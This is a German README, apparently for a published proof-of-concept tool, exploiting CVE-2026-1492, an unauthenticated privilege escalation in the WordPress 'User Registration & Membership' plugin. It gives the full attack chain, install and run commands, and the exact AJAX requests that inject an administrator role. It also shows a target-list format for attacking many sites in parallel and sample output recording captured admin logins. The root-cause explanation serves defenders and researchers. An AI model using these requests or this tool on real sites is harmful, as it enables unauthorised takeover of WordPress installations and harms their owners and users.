CVE-2026-1492

User Registration & Membership <= 5.1.2 - Nicht authentifizierte Privilegieneskalation über die Mitgliedschaftsregistrierung

🔴 Überblick über die Schwachstelle

CVE-2026-1492 — Nicht authentifizierte Privilegieneskalation über die Mitgliedschaftsregistrierung

Beschreibung:
Das User Registration & Membership-Plugin für WordPress ist in allen Versionen bis einschließlich 5.1.2 anfällig für nicht authentifizierte Privilegieneskalation. Die Schwachstelle geht darauf zurück, dass der AJAX-Handler user_registration_membership_register_member während des Mitgliedschafts-Registrierungsprozesses einen vom Benutzer übermittelten role-Wert akzeptiert, ohne eine serverseitige Allowlist- oder Berechtigungsprüfung durchzusetzen. Ein vollständig nicht authentifizierter Remote-Angreifer kann eine mehrstufige AJAX-Anfragekette konstruieren — zuerst ein neues Benutzerkonto registrieren und dann einen bösartigen register_member-Aufruf mit "role": "administrator" in der members_data-JSON-Nutzlast übermitteln —, um stillschweigend ein vollwertiges WordPress-Administrator-Konto zu erstellen. Dies führt zur vollständigen Kompromittierung der betroffenen WordPress-Installation, ohne dass eine Benutzerinteraktion erforderlich ist.

🛠️ Tool-Beschreibung

Dies ist ein Proof-of-Concept-Exploit-Skript (PoC), das eine vollständige zustandsbasierte Angriffskette gegen WordPress-Seiten implementiert, auf denen eine verwundbare Version des User Registration & Membership-Plugins läuft. Das Tool führt eine intelligente mehrstufige Exploitation mit automatischer Erkennung, Plan-Extraktion, Nonce-Sammlung, Zwei-Fluss-Registrierung, Rollen-Injektion und Admin-Verifikation durch.

🔗 Vollständige Angriffskette

[Discovery Phase]
  GET /membership-pricing/  →  Extract membership plan IDs
  GET /registration/        →  Extract form fields, nonces, AJAX params

        ↓

[Registration Phase — Flow A]
  POST /wp-admin/admin-ajax.php
  action=user_registration_user_form_submit
  → Register new user account

        ↓

[Role Injection Phase — Flow A]
  POST /wp-admin/admin-ajax.php
  action=user_registration_membership_register_member
  members_data={"role":"administrator", "membership":"<id>", ...}
  → Inject administrator role into newly created account

        ↓

[Admin Verification Phase]
  GET /wp-admin/  →  Check for admin dashboard indicators
  GET /wp-admin/plugin-install.php  →  Confirm plugin-install access

        ↓

[Fallback Override — Flow B]
  If Flow A admin check fails → repeat with fresh username/email

        ↓

[Write to Nx_admin.txt]
  Format: https://target.com/wp-login.php user:<u> pass:<p>

📋 Anforderungen

Systemanforderungen

• Python 3.8 oder höher
• Linux / Windows / macOS

Python-Abhängigkeiten

pip install requests urllib3 rich

Oder über eine Requirements-Datei:

pip install -r requirements.txt

requirements.txt:

requests>=2.28.0
urllib3>=1.26.0
rich>=13.0.0

🚀 Installation

# Clone the repository
git clone https://github.com/Nxploited/CVE-2026-1492.git
cd CVE-2026-1492

# Install dependencies
pip install -r requirements.txt

# Run the tool
python3 CVE-2026-1492.py

⚙️ Verwendung

Einfache Ausführung

python3 CVE-2026-1492.py

Das Tool verwendet eine vollständig interaktive Terminaloberfläche auf Basis von Rich. Alle Parameter werden zur Laufzeit abgefragt.

🗂️ Format der Zielliste

Erstellen Sie eine einfache Textdatei (Standard: list.txt) mit einem Ziel pro Zeile:

https://target1.com
https://target2.com
http://target3.com/wordpress

🖥️ Interaktive Eingabeaufforderungen

Targets file [list.txt]: list.txt

Credentials:
  - Username prefix: random number is added per site (fresh user per target/plan/flow)
  - Email: if left empty, it will be built from the username automatically
  - Password: fixed for all sites

Username prefix (optional): Nxploited
Email (optional): 
Password [Nx_12999]: Nx_12999
Threads [3]: 5
HTTP timeout (seconds) [10]: 10

🔬 Detaillierte Betrachtung der Exploitation

Schritt 1 — Erkennung

Das Tool erkennt und analysiert automatisch:

Schritt 2 — Registrierungs-AJAX

POST /wp-admin/admin-ajax.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest

action=user_registration_user_form_submit
&form_data=[{"field_name":"user_login","value":"Nxploited_A_482910",...}]
&form_id=1
&ur_frontend_form_nonce=<extracted_nonce>
&security=<extracted_security>
&is_membership_active=<membership_id>

Schritt 3 — Rollen-Injektions-AJAX (Der verwundbare Aufruf)

POST /wp-admin/admin-ajax.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest

action=user_registration_membership_register_member
&members_data={"membership":"<id>","payment_method":"free","role":"administrator","username":"Nxploited_A_482910",...}
&form_response={...}
&_wpnonce=<membership_nonce>
&security=<membership_nonce>

⚠️ Der Server akzeptiert das role-Feld vom Client ohne jede Allowlist-Prüfung — dies ist die Grundursache von CVE-2026-1492.

Schritt 4 — Admin-Verifikation

Das Tool öffnet eine neue Sitzung, meldet sich mit den neu erstellten Anmeldedaten an und testet Folgendes:

📁 Ausgabedateien

Admin-Ausgabeformat

https://target.com/wp-login.php user:Nxploited_A_482910|pass:Nx_12999

🖥️ Beispiel für die Terminalausgabe

╔══════════════════════════════════════════════════════════════════════╗
║   CVE-2026-1492  |  User Registration & Membership — Admin PoC      ║
║   By: Nxploited  |  GitHub: github.com/Nxploited  |  @KNxploited    ║
╚══════════════════════════════════════════════════════════════════════╝

[INFO]   https://target.com
[OK]     https://target.com  |  REG-A-OK  user:Nxploited_A_482910 mem:3
[OK]     https://target.com  |  MEM-A-OK  membership A (role=administrator payload) sent
[OK]     https://target.com  |  ADMIN-A   user:Nxploited_A_482910 pass:Nx_12999 mem:3

┌─────────────────────────────��───────────────────────────────────────────────┐
│  Target                  │  Status           │  Note                        │
├─────────────────────────────────────────────────────────────────────────────┤
│  https://target.com      │  ✅ ADMIN-A       │  user:Nxploited_A_482910 ... │
│  https://target2.com     │  MEM-B-FAIL       │  membership not configured   │
│  https://target3.com     │  DEAD             │  connection error            │
└─────────────────────────────────────────────────────────────────────────────┘

📊 Referenz der Statuscodes

📡 Kontakt & Autor

Von: Nxploited (Khaled Alenazi)

 

⚠️ Rechtlicher Haftungsausschluss

DIESES TOOL WIRD AUSSCHLIESSLICH FÜR BILDUNGSZWECKE UND AUTORISIERTE SICHERHEITSFORSCHUNG BEREITGESTELLT.

Der Autor, Nxploited (Khaled Alenazi), sowie alle Mitwirkenden an diesem Projekt billigen, unterstützen oder übernehmen keinerlei Verantwortung für den Missbrauch dieses Tools oder für Schäden, die durch die Verwendung dieser Software gegen Systeme entstehen, für die Sie keine ausdrückliche schriftliche Genehmigung besitzen.

• ✅ Zulässig: Verwendung auf Systemen, die Ihnen gehören oder für die Ihnen eine ausdrückliche schriftliche Erlaubnis zum Testen erteilt wurde.
• ❌ Verboten: Verwendung gegen Systeme ohne vorherige ausdrückliche schriftliche Genehmigung des Systemeigentümers.

Unbefugter Zugriff auf Computersysteme ist illegal und wird nach geltendem Recht geahndet, einschließlich, aber nicht beschränkt auf den Computer Fraud and Abuse Act (CFAA), den Computer Misuse Act (CMA) und entsprechende Gesetze weltweit.

Durch die Verwendung dieses Tools übernehmen Sie die alleinige und vollständige Verantwortung für Ihre Handlungen und bestätigen, dass Sie die rechtliche Befugnis haben, die Zielsysteme zu testen.

Der Autor übernimmt keinerlei Haftung für direkte, indirekte, zufällige, Folge- oder sonstige Schäden, die durch die Verwendung oder den Missbrauch dieser Software entstehen.

_{© 2026 Nxploited (Khaled Alenazi) — Nur für autorisierte Sicherheitsforschung.}